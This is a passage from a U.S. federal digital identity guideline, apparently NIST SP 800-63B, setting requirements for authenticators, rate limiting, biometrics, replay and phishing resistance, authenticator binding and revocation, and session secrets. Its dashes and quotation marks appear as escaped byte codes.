multi-factor OTP authenticator is being associated with a subscriber account, the verifier or associated CSP SHALL use approved cryptography to either generate and exchange or to obtain the secrets required to duplicate the authenticator output. The verifier or CSP SHALL also establish, via the authenticator source, that the authenticator is a multi-factor device. In the absence of a trusted statement that it is a multi-factor device, the verifier SHALL treat the authenticator as single-factor, in accordance with Section 5.1.4. The verifier SHALL use approved encryption and an authenticated protected channel when collecting the OTP in order to provide resistance to eavesdropping and MitM attacks. Time-based OTPs [RFC 6238] SHALL have a defined lifetime that is determined by the expected clock drift \xe2\x80\x94 in either direction \xe2\x80\x94 of the authenticator over its lifetime, plus allowance for network delay and user entry of the OTP. In order to provide replay resistance as described in Section 5.2.8, verifiers SHALL accept a given time-based OTP only once during the validity period. In the event a claimant\xe2\x80\x99s authentication is denied due to duplicate use of an OTP, verifiers MAY warn the claimant in case an attacker has been able to authenticate in advance. Verifiers MAY also warn a subscriber in an existing session of the attempted duplicate use of an OTP. If the authenticator output or activation secret has less than 64 bits of entropy, the verifier SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber\xe2\x80\x99s account as described in Section 5.2.2. A biometric activation factor SHALL meet the requirements of Section 5.2.3, including limits on the number of consecutive authentication failures. 5.1.6 Single-Factor Cryptographic Software A single-factor software cryptographic authenticator is a cryptographic key stored on disk or some other ""soft"" media. Authentication is accomplished by proving possession and control of the key. The authenticator output is highly dependent on the specific cryptographic protocol, but it is generally some type of signed message. The single-factor software cryptographic authenticator is something you have. 5.1.6.1 Single-Factor Cryptographic Software Authenticators Single-factor software cryptographic authenticators encapsulate one or more secret keys unique to the authenticator. The key SHALL be stored in suitably secure storage available to the authenticator application (e.g., keychain storage, TPM, or TEE if available). The key SHALL be strongly protected against unauthorized disclosure by the use of access controls that limit access to the key to only those software components on the device requiring access. Single-factor cryptographic software authenticators SHOULD discourage and SHALL NOT facilitate the cloning of the secret key onto multiple devices. 5.1.6.2 Single-Factor Cryptographic Software Verifiers The requirements for a single-factor cryptographic software verifier are identical to those for a single-factor cryptographic device verifier, described in Section 5.1.7.2. 5.1.7 Single-Factor Cryptographic Devices A single-factor cryptographic device is a hardware device that performs cryptographic operations using protected cryptographic key(s) and provides the authenticator output via direct connection to the user endpoint. The device uses embedded symmetric or asymmetric cryptographic keys, and does not require activation through a second factor of authentication. Authentication is accomplished by proving possession of the device via the authentication protocol. The authenticator output is provided by direct connection to the user endpoint and is highly dependent on the specific cryptographic device and protocol, but it is typically some type of signed message. A single-factor cryptographic device is something you have. 5.1.7.1 Single-Factor Cryptographic Device Authenticators Single-factor cryptographic device authenticators encapsulate one or more secret keys unique to the device that SHALL NOT be exportable (i.e., cannot be removed from the device). The authenticator operates by signing a challenge nonce presented through a direct computer interface (e.g., a USB port). Alternatively, the authenticator could be a suitably secure processor integrated with the user endpoint itself (e.g., a hardware TPM). Although cryptographic devices contain software, they differ from cryptographic software authenticators in that all embedded software is under control of the CSP or issuer and that the entire authenticator is subject to all applicable FIPS 140 requirements at the AAL being authenticated. The secret key and its algorithm SHALL provide at least the minimum security length specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). The challenge nonce SHALL be at least 64 bits in length. Approved cryptography SHALL be used. Single-factor cryptographic device authenticators SHOULD require a physical input (e.g., the pressing of a button) in order to operate. This provides defense against unintended operation of the device, which might occur if the endpoint to which it is connected is compromised. 5.1.7.2 Single-Factor Cryptographic Device Verifiers Single-factor cryptographic device verifiers generate a challenge nonce, send it to the corresponding authenticator, and use the authenticator output to verify possession of the device. The authenticator output is highly dependent on the specific cryptographic device and protocol, but it is generally some type of signed message. The verifier has either symmetric or asymmetric cryptographic keys corresponding to each authenticator. While both types of keys SHALL be protected against modification, symmetric keys SHALL additionally be protected against unauthorized disclosure. The challenge nonce SHALL be at least 64 bits in length, and SHALL either be unique over the authenticator\xe2\x80\x99s lifetime or statistically unique (i.e., generated using an approved random bit generator [SP 800-90Ar1]). The verification operation SHALL use approved cryptography. 5.1.8 Multi-Factor Cryptographic Software A multi-factor software cryptographic authenticator is a cryptographic key stored on disk or some other ""soft"" media that requires activation through a second factor of authentication. Authentication is accomplished by proving possession and control of the key. The authenticator output is highly dependent on the specific cryptographic protocol, but it is generally some type of signed message. The multi-factor software cryptographic authenticator is something you have, and it SHALL be activated by either something you know or something you are. 5.1.8.1 Multi-Factor Cryptographic Software Authenticators Multi-factor software cryptographic authenticators encapsulate one or more secret keys unique to the authenticator and accessible only through the input of an additional factor, either a memorized secret or a biometric. The key SHOULD be stored in suitably secure storage available to the authenticator application (e.g., keychain storage, TPM, TEE). The key SHALL be strongly protected against unauthorized disclosure by the use of access controls that limit access to the key to only those software components on the device requiring access. Multi-factor cryptographic software authenticators SHOULD discourage and SHALL NOT facilitate the cloning of the secret key onto multiple devices. Each authentication operation using the authenticator SHALL require the input of both factors. Any memorized secret used by the authenticator for activation SHALL be a randomly-chosen numeric value at least 6 decimal digits in length or other memorized secret meeting the requirements of Section 5.1.1.2 and SHALL be rate limited as specified in Section 5.2.2. A biometric activation factor SHALL meet the requirements of Section 5.2.3, including limits on the number of consecutive authentication failures. The unencrypted key and activation secret or biometric sample \xe2\x80\x94 and any biometric data derived from the biometric sample such as a probe produced through signal processing \xe2\x80\x94 SHALL be zeroized immediately after an authentication transaction has taken place. 5.1.8.2 Multi-Factor Cryptographic Software Verifiers The requirements for a multi-factor cryptographic software verifier are identical to those for a single-factor cryptographic device verifier, described in Section 5.1.7.2. Verification of the output from a multi-factor cryptographic software authenticator proves use of the activation factor. 5.1.9 Multi-Factor Cryptographic Devices A multi-factor cryptographic device is a hardware device that performs cryptographic operations using one or more protected cryptographic keys and requires activation through a second authentication factor. Authentication is accomplished by proving possession of the device and control of the key. The authenticator output is provided by direct connection to the user endpoint and is highly dependent on the specific cryptographic device and protocol, but it is typically some type of signed message. The multi-factor cryptographic device is something you have, and it SHALL be activated by either something you know or something you are. 5.1.9.1 Multi-Factor Cryptographic Device Authenticators Multi-factor cryptographic device authenticators use tamper-resistant hardware to encapsulate one or more secret keys unique to the authenticator and accessible only through the input of an additional factor, either a memorized secret or a biometric. The authenticator operates by signing a challenge nonce presented through a direct computer interface (e.g., a USB port). Alternatively, the authenticator could be a suitably secure processor integrated with the user endpoint itself (e.g., a hardware TPM). Although cryptographic devices contain software, they differ from cryptographic software authenticators in that all embedded software is under control of the CSP or issuer, and that the entire authenticator is subject to any applicable FIPS 140 requirements at the selected AAL. The secret key and its algorithm SHALL provide at least the minimum security length specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). The challenge nonce SHALL be at least 64 bits in length. Approved cryptography SHALL be used. Each authentication operation using the authenticator SHOULD require the input of the additional factor. Input of the additional factor MAY be accomplished via either direct input on the device or via a hardware connection (e.g., USB, smartcard). Any memorized secret used by the authenticator for activation SHALL be a randomly-chosen numeric value at least 6 decimal digits in length or other memorized secret meeting the requirements of Section 5.1.1.2 and SHALL be rate limited as specified in Section 5.2.2. A biometric activation factor SHALL meet the requirements of Section 5.2.3, including limits on the number of consecutive authentication failures. The unencrypted key and activation secret or biometric sample \xe2\x80\x94 and any biometric data derived from the biometric sample such as a probe produced through signal processing \xe2\x80\x94 SHALL be zeroized immediately after an authentication transaction has taken place. 5.1.9.2 Multi-Factor Cryptographic Device Verifiers The requirements for a multi-factor cryptographic device verifier are identical to those for a single-factor cryptographic device verifier, described in Section 5.1.7.2. Verification of the authenticator output from a multi-factor cryptographic device proves use of the activation factor. 5.2 General Authenticator Requirements 5.2.1 Physical Authenticators CSPs SHALL provide subscriber instructions on how to appropriately protect the authenticator against theft or loss. The CSP SHALL provide a mechanism to revoke or suspend the authenticator immediately upon notification from subscriber that loss or theft of the authenticator is suspected. 5.2.2 Rate Limiting (Throttling) When required by the authenticator type descriptions in Section 5.1, the verifier SHALL implement controls to protect against online guessing attacks. Unless otherwise specified in the description of a given authenticator, the verifier SHALL limit consecutive failed authentication attempts on a single account to no more than 100. Additional techniques MAY be used to reduce the likelihood that an attacker will lock the legitimate claimant out as a result of rate limiting. These include: Requiring the claimant to complete a CAPTCHA before attempting authentication. Requiring the claimant to wait following a failed attempt for a period of time that increases as the account approaches its maximum allowance for consecutive failed attempts (e.g., 30 seconds up to an hour). Accepting only authentication requests that come from a white list of IP addresses from which the subscriber has been successfully authenticated before. Leveraging other risk-based or adaptive authentication techniques to identify user behavior that falls within, or out of, typical norms. When the subscriber successfully authenticates, the verifier SHOULD disregard any previous failed attempts for that user from the same IP address. 5.2.3 Use of Biometrics The use of biometrics (something you are) in authentication includes both measurement of physical characteristics (e.g., fingerprint, iris, facial characteristics) and behavioral characteristics (e.g., typing cadence). Both classes are considered biometric modalities, although different modalities may differ in the extent to which they establish authentication intent as described in Section 5.2.9. For a variety of reasons, this document supports only limited use of biometrics for authentication. These reasons include: The biometric False Match Rate (FMR) does not provide confidence in the authentication of the subscriber by itself. In addition, FMR does not account for spoofing attacks. Biometric comparison is probabilistic, whereas the other authentication factors are deterministic. Biometric template protection schemes provide a method for revoking biometric credentials that is comparable to other authentication factors (e.g., PKI certificates and passwords). However, the availability of such solutions is limited, and standards for testing these methods are under development. Biometric characteristics do not constitute secrets. They can be obtained online or by taking a picture of someone with a camera phone (e.g., facial images) with or without their knowledge, lifted from objects someone touches (e.g., latent fingerprints), or captured with high resolution images (e.g., iris patterns). While presentation attack detection (PAD) technologies (e.g., liveness detection) can mitigate the risk of these types of attacks, additional trust in the sensor or biometric processing is required to ensure that PAD is operating in accordance with the needs of the CSP and the subscriber. Therefore, the limited use of biometrics for authentication is supported with the following requirements and guidelines: Biometrics SHALL be used only as part of multi-factor authentication with a physical authenticator (something you have). An authenticated protected channel between sensor (or an endpoint containing a sensor that resists sensor replacement) and verifier SHALL be established and the sensor or endpoint SHALL be established and the sensor or endpoint SHALL be authenticated prior to capturing the biometric sample from the claimant. The biometric system SHALL operate with an FMR [ISO/IEC 2382-37] of 1 in 1000 or better. This FMR SHALL be achieved under conditions of a conformant attack (i.e., zero-effort impostor attempt) as defined in [ISO/IEC 30107-1]. The biometric system SHOULD implement PAD. Testing of the biometric system to be deployed SHOULD demonstrate at least 90% resistance to presentation attacks for each relevant attack type (i.e., species), where resistance is defined as the number of thwarted presentation attacks divided by the number of trial presentation attacks. Testing of presentation attack resistance SHALL be in accordance with Clause 12 of [ISO/IEC 30107-3]. The PAD decision MAY be made either locally on the claimant\xe2\x80\x99s device or by a central verifier. Note: PAD is being considered as a mandatory requirement in future editions of this guideline. The biometric system SHALL allow no more than 5 consecutive failed authentication attempts or 10 consecutive failed attempts if PAD meeting the above requirements is implemented. Once that limit has been reached, the biometric authenticator SHALL either: Impose a delay of at least 30 seconds before the next attempt, increasing exponentially with each successive attempt (e.g., 1 minute before the following failed attempt, 2 minutes before the second following attempt), or Disable the biometric user authentication and offer another factor (e.g., a different biometric modality or a PIN/Passcode if it is not already a required factor) if such an alternative method is already available. The verifier SHALL make a determination of sensor and endpoint performance, integrity, and authenticity. Acceptable methods for making this determination include, but are not limited to: Authentication of the sensor or endpoint. Certification by an approved accreditation authority. Runtime interrogation of signed metadata (e.g., attestation) as described in Section 5.2.4. Biometric comparison can be performed locally on claimant\xe2\x80\x99s device or at a central verifier. Since the potential for attacks on a larger scale is greater at central verifiers, local comparison is preferred. If comparison is performed centrally: Use of the biometric as an authentication factor SHALL be limited to one or more specific devices that are identified using approved cryptography. Since the biometric has not yet unlocked the main authentication key, a separate key SHALL be used for identifying the device. Biometric revocation, referred to as biometric template protection in ISO/IEC 24745, SHALL be implemented. All transmission of biometrics SHALL be over the authenticated protected channel. Biometric samples collected in the authentication process MAY be used to train comparison algorithms or \xe2\x80\x94 with user consent \xe2\x80\x94 for other research purposes. Biometric samples and any biometric data derived from the biometric sample such as a probe produced through signal processing SHALL be zeroized immediately after any training or research data has been derived. Biometrics are also used in some cases to prevent repudiation of enrollment and to verify that the same individual participates in all phases of the enrollment process as described in SP 800-63A. 5.2.4 Attestation An attestation is information conveyed to the verifier regarding a directly-connected authenticator or the endpoint involved in an authentication operation. Information conveyed by attestation MAY include, but is not limited to: The provenance (e.g., manufacturer or supplier certification), health, and integrity of the authenticator and endpoint. Security features of the authenticator. Security and performance characteristics of biometric sensor(s). Sensor modality. If this attestation is signed, it SHALL be signed using a digital signature that provides at least the minimum security strength specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). Attestation information MAY be used as part of a verifier\xe2\x80\x99s risk-based authentication decision. 5.2.5 Verifier Impersonation Resistance Verifier impersonation attacks, sometimes referred to as \xe2\x80\x9cphishing attacks,\xe2\x80\x9d are attempts by fraudulent verifiers and RPs to fool an unwary claimant into authenticating to an impostor website. In prior versions of SP 800-63, protocols resistant to verifier-impersonation attacks were also referred to as \xe2\x80\x9cstrongly MitM resistant.\xe2\x80\x9d A verifier impersonation-resistant authentication protocol SHALL establish an authenticated protected channel with the verifier. It SHALL then strongly and irreversibly bind a channel identifier that was negotiated in establishing the authenticated protected channel to the authenticator output (e.g., by signing the two values together using a private key controlled by the claimant for which the public key is known to the verifier). The verifier SHALL validate the signature or other information used to prove verifier impersonation resistance. This prevents an impostor verifier, even one that has obtained a certificate representing the actual verifier, from replaying that authentication on a different authenticated protected channel. Approved cryptographic algorithms SHALL be used to establish verifier impersonation resistance where it is required. Keys used for this purpose SHALL provide at least the minimum security strength specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). One example of a verifier impersonation-resistant authentication protocol is client-authenticated TLS, because the client signs the authenticator output along with earlier messages from the protocol that are unique to the particular TLS connection being negotiated. Authenticators that involve the manual entry of an authenticator output, such as out-of-band and OTP authenticators, SHALL NOT be considered verifier impersonation-resistant because the manual entry does not bind the authenticator output to the specific session being authenticated. In a MitM attack, an impostor verifier could replay the OTP authenticator output to the verifier and successfully authenticate. 5.2.6 Verifier-CSP Communications In situations where the verifier and CSP are separate entities (as shown by the dotted line in SP 800-63-3 Figure 4-1), communications between the verifier and CSP SHALL occur through a mutually-authenticated secure channel (such as a client-authenticated TLS connection) using approved cryptography. 5.2.7 Verifier-Compromise Resistance Use of some types of authenticators requires that the verifier store a copy of the authenticator secret. For example, an OTP authenticator (described in Section 5.1.4) requires that the verifier independently generate the authenticator output for comparison against the value sent by the claimant. Because of the potential for the verifier to be compromised and stored secrets stolen, authentication protocols that do not require the verifier to persistently store secrets that could be used for authentication are considered stronger, and are described herein as being verifier compromise resistant. Note that such verifiers are not resistant to all attacks. A verifier could be compromised in a different way, such as being manipulated into always accepting a particular authenticator output. Verifier compromise resistance can be achieved in different ways, for example: Use a cryptographic authenticator that requires the verifier store a public key corresponding to a private key held by the authenticator. Store the expected authenticator output in hashed form. This method can be used with some look-up secret authenticators (described in Section 5.1.2), for example. To be considered verifier compromise resistant, public keys stored by the verifier SHALL be associated with the use of approved cryptographic algorithms and SHALL provide at least the minimum security strength specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). Other verifier compromise resistant secrets SHALL use approved hash algorithms and the underlying secrets SHALL have at least the minimum security strength specified in the latest revision of SP 800-131A (112 bits as of the date of this publication). Secrets (e.g., memorized secrets) having lower complexity SHALL NOT be considered verifier compromise resistant when hashed because of the potential to defeat the hashing process through dictionary lookup or exhaustive search. 5.2.8 Replay Resistance An authentication process resists replay attacks if it is impractical to achieve a successful authentication by recording and replaying a previous authentication message. Replay resistance is in addition to the replay-resistant nature of authenticated protected channel protocols, since the output could be stolen prior to entry into the protected channel. Protocols that use nonces or challenges to prove the \xe2\x80\x9cfreshness\xe2\x80\x9d of the transaction are resistant to replay attacks since the verifier will easily detect when old protocol messages are replayed since they will not contain the appropriate nonces or timeliness data. Examples of replay-resistant authenticators are OTP devices, cryptographic authenticators, and look-up secrets. In contrast, memorized secrets are not considered replay resistant because the authenticator output \xe2\x80\x94 the secret itself \xe2\x80\x94 is provided for each authentication. 5.2.9 Authentication Intent An authentication process demonstrates intent if it requires the subject to explicitly respond to each authentication or reauthentication request. The goal of authentication intent is to make it more difficult for directly-connected physical authenticators (e.g., multi-factor cryptographic devices) to be used without the subject\xe2\x80\x99s knowledge, such as by malware on the endpoint. Authentication intent SHALL be established by the authenticator itself, although multi-factor cryptographic devices MAY establish intent by reentry of the other authentication factor on the endpoint with which the authenticator is used. Authentication intent MAY be established in a number of ways. Authentication processes that require the subject\xe2\x80\x99s intervention (e.g., a claimant entering an authenticator output from an OTP device) establish intent. Cryptographic devices that require user action (e.g., pushing a button or reinsertion) for each authentication or reauthentication operation are also establish intent. Depending on the modality, presentation of a biometric may or may not establish authentication intent. Presentation of a fingerprint would normally establish intent, while observation of the claimant\xe2\x80\x99s face using a camera normally would not by itself. Behavioral biometrics similarly are less likely to establish authentication intent because they do not always require a specific action on the claimant\xe2\x80\x99s part. 5.2.10 Restricted Authenticators As threats evolve, authenticators\xe2\x80\x99 capability to resist attacks typically degrades. Conversely, some authenticators\xe2\x80\x99 performance may improve \xe2\x80\x94 for example, when changes to their underlying standards increases their ability to resist particular attacks. To account for these changes in authenticator performance, NIST places additional restrictions on authenticator types or specific classes or instantiations of an authenticator type. The use of a RESTRICTED authenticator requires that the implementing organization assess, understand, and accept the risks associated with that RESTRICTED authenticator and acknowledge that risk will likely increase over time. It is the responsibility of the organization to determine the level of acceptable risk for their system(s) and associated data and to define any methods for mitigating excessive risks. If at any time the organization determines that the risk to any party is unacceptable, then that authenticator SHALL NOT be used. Further, the risk of an authentication error is typically borne by multiple parties, including the implementing organization, organizations that rely on the authentication decision, and the subscriber. Because the subscriber may be exposed to additional risk when an organization accepts a RESTRICTED authenticator and that the subscriber may have a limited understanding of and ability to control that risk, the CSP SHALL: Offer subscribers at least one alternate authenticator that is not RESTRICTED and can be used to authenticate at the required AAL. Provide meaningful notice to subscribers regarding the security risks of the RESTRICTED authenticator and availability of alternative(s) that are not RESTRICTED. Address any additional risk to subscribers in its risk assessment. Develop a migration plan for the possibility that the RESTRICTED authenticator is no longer acceptable at some point in the future and include this migration plan in its digital identity acceptance statement. 6 Authenticator Lifecycle Management This section is normative. A number of events can occur over the lifecycle of a subscriber\xe2\x80\x99s authenticator that affect that authenticator\xe2\x80\x99s use. These events include binding, loss, theft, unauthorized duplication, expiration, and revocation. This section describes the actions to be taken in response to those events. 6.1 Authenticator Binding Authenticator binding refers to the establishment of an association between a specific authenticator and a subscriber\xe2\x80\x99s account, enabling the authenticator to be used \xe2\x80\x94 possibly in conjunction with other authenticators \xe2\x80\x94 to authenticate for that account. Authenticators SHALL be bound to subscriber accounts by either: Issuance by the CSP as part of enrollment; or Associating a subscriber-provided authenticator that is acceptable to the CSP. These guidelines refer to the binding rather than the issuance of an authenticator as to accommodate both options. Throughout the digital identity lifecycle, CSPs SHALL maintain a record of all authenticators that are or have been associated with each identity. The CSP or verifier SHALL maintain the information required for throttling authentication attempts when required, as described in Section 5.2.2. The CSP SHALL also verify the type of user-provided authenticator (e.g., single-factor cryptographic device vs. multi-factor cryptographic device) so verifiers can determine compliance with requirements at each AAL. The record created by the CSP SHALL contain the date and time the authenticator was bound to the account. The record SHOULD include information about the source of the binding (e.g., IP address, device identifier) of any device associated with the enrollment. If available, the record SHOULD also contain information about the source of unsuccessful authentications attempted with the authenticator. When any new authenticator is bound to a subscriber account, the CSP SHALL ensure that the binding protocol and the protocol for provisioning the associated key(s) are done at a level of security commensurate with the AAL at which the authenticator will be used. For example, protocols for key provisioning SHALL use authenticated protected channels or be performed in person to protect against man-in-the-middle attacks. Binding of multi-factor authenticators SHALL require multi-factor authentication or equivalent (e.g., association with the session in which identity proofing has been just completed) be used in order to bind the authenticator. The same conditions apply when a key pair is generated by the authenticator and the public key is sent to the CSP. 6.1.1 Binding at Enrollment The following requirements apply when an authenticator is bound to an identity as a result of a successful identity proofing transaction, as described in SP 800-63A. Since Executive Order 13681 [EO 13681] requires the use of multi-factor authentication for the release of any personal data, it is important that authenticators be bound to subscriber accounts at enrollment, enabling access to personal data, including that established by identity proofing. The CSP SHALL bind at least one, and SHOULD bind at least two, physical (something you have) authenticators to the subscriber\xe2\x80\x99s online identity, in addition to a memorized secret or one or more biometrics. Binding of multiple authenticators is preferred in order to recover from the loss or theft of the subscriber\xe2\x80\x99s primary authenticator. While all identifying information is self-asserted at IAL1, preservation of online material or an online reputation makes it undesirable to lose control of an account due to the loss of an authenticator. The second authenticator makes it possible to securely recover from an authenticator loss. For this reason, a CSP SHOULD bind at least two physical authenticators to the subscriber\xe2\x80\x99s credential at IAL1 as well. At IAL2 and above, identifying information is associated with the digital identity and the subscriber has undergone an identity proofing process as described in SP 800-63A. As a result, authenticators at the same AAL as the desired IAL SHALL be bound to the account. For example, if the subscriber has successfully completed proofing at IAL2, then AAL2 or AAL3 authenticators are appropriate to bind to the IAL2 identity. While a CSP MAY bind an AAL1 authenticator to an IAL2 identity, if the subscriber is authenticated at AAL1, the CSP SHALL NOT expose personal information, even if self-asserted, to the subscriber. As stated in the previous paragraph, the availability of additional authenticators provides backup methods for authentication if an authenticator is damaged, lost, or stolen. If enrollment and binding cannot be completed in a single physical encounter or electronic transaction (i.e., within a single protected session), the following methods SHALL be used to ensure that the same party acts as the applicant throughout the processes: For remote transactions: The applicant SHALL identify themselves in each new binding transaction by presenting a temporary secret which was either established during a prior transaction, or sent to the applicant\xe2\x80\x99s phone number, email address, or postal address of record. Long-term authenticator secrets SHALL only be issued to the applicant within a protected session. For in-person transactions: The applicant SHALL identify themselves in person by either using a secret as described in remote transaction (1) above, or through use of a biometric that was recorded during a prior encounter. Temporary secrets SHALL NOT be reused. If the CSP issues long-term authenticator secrets during a physical transaction, then they SHALL be loaded locally onto a physical device that is issued in person to the applicant or delivered in a manner that confirms the address of record. 6.1.2 Post-Enrollment Binding 6.1.2.1 Binding of an Additional Authenticator at Existing AAL With the exception of memorized secrets, CSPs and verifiers SHOULD encourage subscribers to maintain at least two valid authenticators of each factor that they will be using. For example, a subscriber who usually uses an OTP device as a physical authenticator MAY also be issued a number of look-up secret authenticators, or register a device for out-of-band authentication, in case the physical authenticator is lost, stolen, or damaged. See Section 6.1.2.3 for more information on replacement of memorized secret authenticators. Accordingly, CSPs SHOULD permit the binding of additional authenticators to a subscriber\xe2\x80\x99s account. Before adding the new authenticator, the CSP SHALL first require the subscriber to authenticate at the AAL (or a higher AAL) at which the new authenticator will be used. When an authenticator is added, the CSP SHOULD send a notification to the subscriber via a mechanism that is independent of the transaction binding the new authenticator (e.g., email to an address previously associated with the subscriber). The CSP MAY limit the number of authenticators that may be bound in this manner. 6.1.2.2 Adding an Additional Factor to a Single-Factor Account If the subscriber\xe2\x80\x99s account has only one authentication factor bound to it (i.e., at IAL1/AAL1) and an additional authenticator of a different authentication factor is to be added, the subscriber MAY request that the account be upgraded to AAL2. The IAL would remain at IAL1. Before binding the new authenticator, the CSP SHALL require the subscriber to authenticate at AAL1. The CSP SHOULD send a notification of the event to the subscriber via a mechanism independent of the transaction binding the new authenticator (e.g., email to an address previously associated with the subscriber). 6.1.2.3 Replacement of a Lost Authentication Factor If a subscriber loses all authenticators of a factor necessary to complete multi-factor authentication and has been identity proofed at IAL2 or IAL3, that subscriber SHALL repeat the identity proofing process described in SP 800-63A. An abbreviated proofing process, confirming the binding of the claimant to previously-supplied evidence, MAY be used if the CSP has retained the evidence from the original proofing process pursuant to a privacy risk assessment as described in SP 800-63A Section 4.2. The CSP SHALL require the claimant to authenticate using an authenticator of the remaining factor, if any, to confirm binding to the existing identity. Reestablishment of authentication factors at IAL3 SHALL be done in person, or through a supervised remote process as described in SP 800-63A Section 5.3.3.2, and SHALL verify the biometric collected during the original proofing process. The CSP SHOULD send a notification of the event to the subscriber. This MAY be the same notice as is required as part of the proofing process. Replacement of a lost (i.e., forgotten) memorized secret is problematic because it is very common. Additional \xe2\x80\x9cbackup\xe2\x80\x9d memorized secrets do not mitigate this because they are just as likely to also have been forgotten. If a biometric is bound to the account, the biometric and associated physical authenticator SHOULD be used to establish a new memorized secret. As an alternative to the above re-proofing process when there is no biometric bound to the account, the CSP MAY bind a new memorized secret with authentication using two physical authenticators, along with a confirmation code that has been sent to one of the subscriber\xe2\x80\x99s addresses of record. The confirmation code SHALL consist of at least 6 random alphanumeric characters generated by an approved random bit generator [SP 800-90Ar1]. Those sent to a postal address of record SHALL be valid for a maximum of 7 days but MAY be made valid up to 21 days via an exception process to accommodate addresses outside the direct reach of the U.S. Postal Service. Confirmation codes sent by means other than physical mail SHALL be valid for a maximum of 10 minutes. 6.1.3 Binding to a Subscriber-provided Authenticator A subscriber may already possess authenticators suitable for authentication at a particular AAL. For example, they may have a two-factor authenticator from a social network provider, considered AAL2 and IAL1, and would like to use those credentials at an RP that requires IAL2. CSPs SHOULD, where practical, accommodate the use of subscriber-provided authenticators in order to relieve the burden to the subscriber of managing a large number of authenticators. Binding of these authenticators SHALL be done as described in Section 6.1.2.1. In situations where the authenticator strength is not self-evident (e.g., between single-factor and multi-factor authenticators of a given type), the CSP SHOULD assume the use of the weaker authenticator unless it is able to establish that the stronger authenticator is in fact being used (e.g., by verification with the issuer or manufacturer of the authenticator). 6.1.4 Renewal The CSP SHOULD bind an updated authenticator an appropriate amount of time before an existing authenticator\xe2\x80\x99s expiration. The process for this SHOULD conform closely to the initial authenticator binding process (e.g., confirming address of record). Following successful use of the new authenticator, the CSP MAY revoke the authenticator that it is replacing. 6.2 Loss, Theft, Damage, and Unauthorized Duplication Compromised authenticators include those that have been lost, stolen, or subject to unauthorized duplication. Generally, one must assume that a lost authenticator has been stolen or compromised by someone that is not the legitimate subscriber of the authenticator. Damaged or malfunctioning authenticators are also considered compromised to guard against any possibility of extraction of the authenticator secret. One notable exception is a memorized secret that has been forgotten without other indications of having been compromised, such as having been obtained by an attacker. Suspension, revocation, or destruction of compromised authenticators SHOULD occur as promptly as practical following detection. Agencies SHOULD establish time limits for this process. To facilitate secure reporting of the loss, theft, or damage to an authenticator, the CSP SHOULD provide the subscriber with a method of authenticating to the CSP using a backup or alternate authenticator. This backup authenticator SHALL be either a memorized secret or a physical authenticator. Either MAY be used, but only one authentication factor is required to make this report. Alternatively, the subscriber MAY establish an authenticated protected channel to the CSP and verify information collected during the proofing process. The CSP MAY choose to verify an address of record (i.e., email, telephone, postal) and suspend authenticator(s) reported to have been compromised. The suspension SHALL be reversible if the subscriber successfully authenticates to the CSP using a valid (i.e., not suspended) authenticator and requests reactivation of an authenticator suspended in this manner. The CSP MAY set a time limit after which a suspended authenticator can no longer be reactivated. 6.3 Expiration CSPs MAY issue authenticators that expire. If and when an authenticator expires, it SHALL NOT be usable for authentication. When an authentication is attempted using an expired authenticator, the CSP SHOULD give an indication to the subscriber that the authentication failure is due to expiration rather than some other cause. The CSP SHALL require subscribers to surrender or prove destruction of any physical authenticator containing attribute certificates signed by the CSP as soon as practical after expiration or receipt of a renewed authenticator. 6.4 Revocation and Termination Revocation of an authenticator \xe2\x80\x94 sometimes referred to as termination, especially in the context of PIV authenticators \xe2\x80\x94 refers to removal of the binding between an authenticator and a credential the CSP maintains. CSPs SHALL revoke the binding of authenticators promptly when an online identity ceases to exist (e.g., subscriber\xe2\x80\x99s death, discovery of a fraudulent subscriber), when requested by the subscriber, or when the CSP determines that the subscriber no longer meets its eligibility requirements. The CSP SHALL require subscribers to surrender or certify destruction of any physical authenticator containing certified attributes signed by the CSP as soon as practical after revocation or termination takes place. This is necessary to block the use of the authenticator\xe2\x80\x99s certified attributes in offline situations between revocation/termination and expiration of the certification. Further requirements on the termination of PIV authenticators are found in FIPS 201. 7 Session Management This section is normative. Once an authentication event has taken place, it is often desirable to allow the subscriber to continue using the application across multiple subsequent interactions without requiring them to repeat the authentication event. This requirement is particularly true for federation scenarios \xe2\x80\x94 described in SP 800-63C \xe2\x80\x94 where the authentication event necessarily involves several components and parties coordinating across a network. To facilitate this behavior, a session MAY be started in response to an authentication event, and continue the session until such time that it is terminated. The session MAY be terminated for any number of reasons, including but not limited to an inactivity timeout, an explicit logout event, or other means. The session MAY be continued through a reauthentication event \xe2\x80\x94 described in Section 7.2 \xe2\x80\x94 wherein the user repeats some or all of the initial authentication event, thereby re-establishing the session. Session management is preferable over continual presentation of credentials as the poor usability of continual presentation often creates incentives for workarounds such as cached unlocking credentials, negating the freshness of the authentication event. 7.1 Session Bindings A session occurs between the software that a subscriber is running \xe2\x80\x94 such as a browser, application, or operating system (i.e., the session subject) \xe2\x80\x94 and the RP or CSP that the subscriber is accessing (i.e., the session host). A session secret SHALL be shared between the subscriber\xe2\x80\x99s software and the service being accessed. This secret binds the two ends of the session, allowing the subscriber to continue using the service over time. The secret SHALL be presented directly by the subscriber\xe2\x80\x99s software or possession of the secret SHALL be proven using a cryptographic mechanism. The secret used for session binding SHALL be generated by the session host in direct response to an authentication event. A session SHOULD inherit the AAL properties of the authentication event which triggered its creation. A session MAY be considered at a lower AAL than the authentication event but SHALL NOT be considered at a higher AAL than the authentication event. Secrets used for session binding: SHALL be generated by the session host during an interaction, typically immediately following authentication. SHALL be generated by an approved random bit generator [SP 800-90Ar1] and contain at least 64 bits of entropy. SHALL be erased or invalidated by the session subject when the subscriber logs out. SHOULD be erased on the subscriber endpoint when the user logs out or when the secret is deemed to have expired. SHOULD NOT be placed in insecure locations such as HTML5 Local Storage due to the potential exposure of local storage to cross-site scripting (XSS) attacks. SHALL be sent to and received from the device using an authenticated protected channel. SHALL time out and not be accepted after the times specified in Sections 4.1.4, 4.2.4, and 4.3.4, as appropriate for the AAL. SHALL NOT be available to insecure communications between the host and subscriber\xe2\x80\x99s endpoint. Authenticated sessions SHALL NOT fall back to an insecure transport, such as from https to http, following authentication. URLs or POST content SHALL contain a session identifier that SHALL be verified by the RP to ensure that actions taken outside the session do not affect the protected session. There are several mechanisms for managing a session over time. The following sections give different examples along with additional requirements and considerations particular to each example technology. Additional informative guidance is available in the OWASP 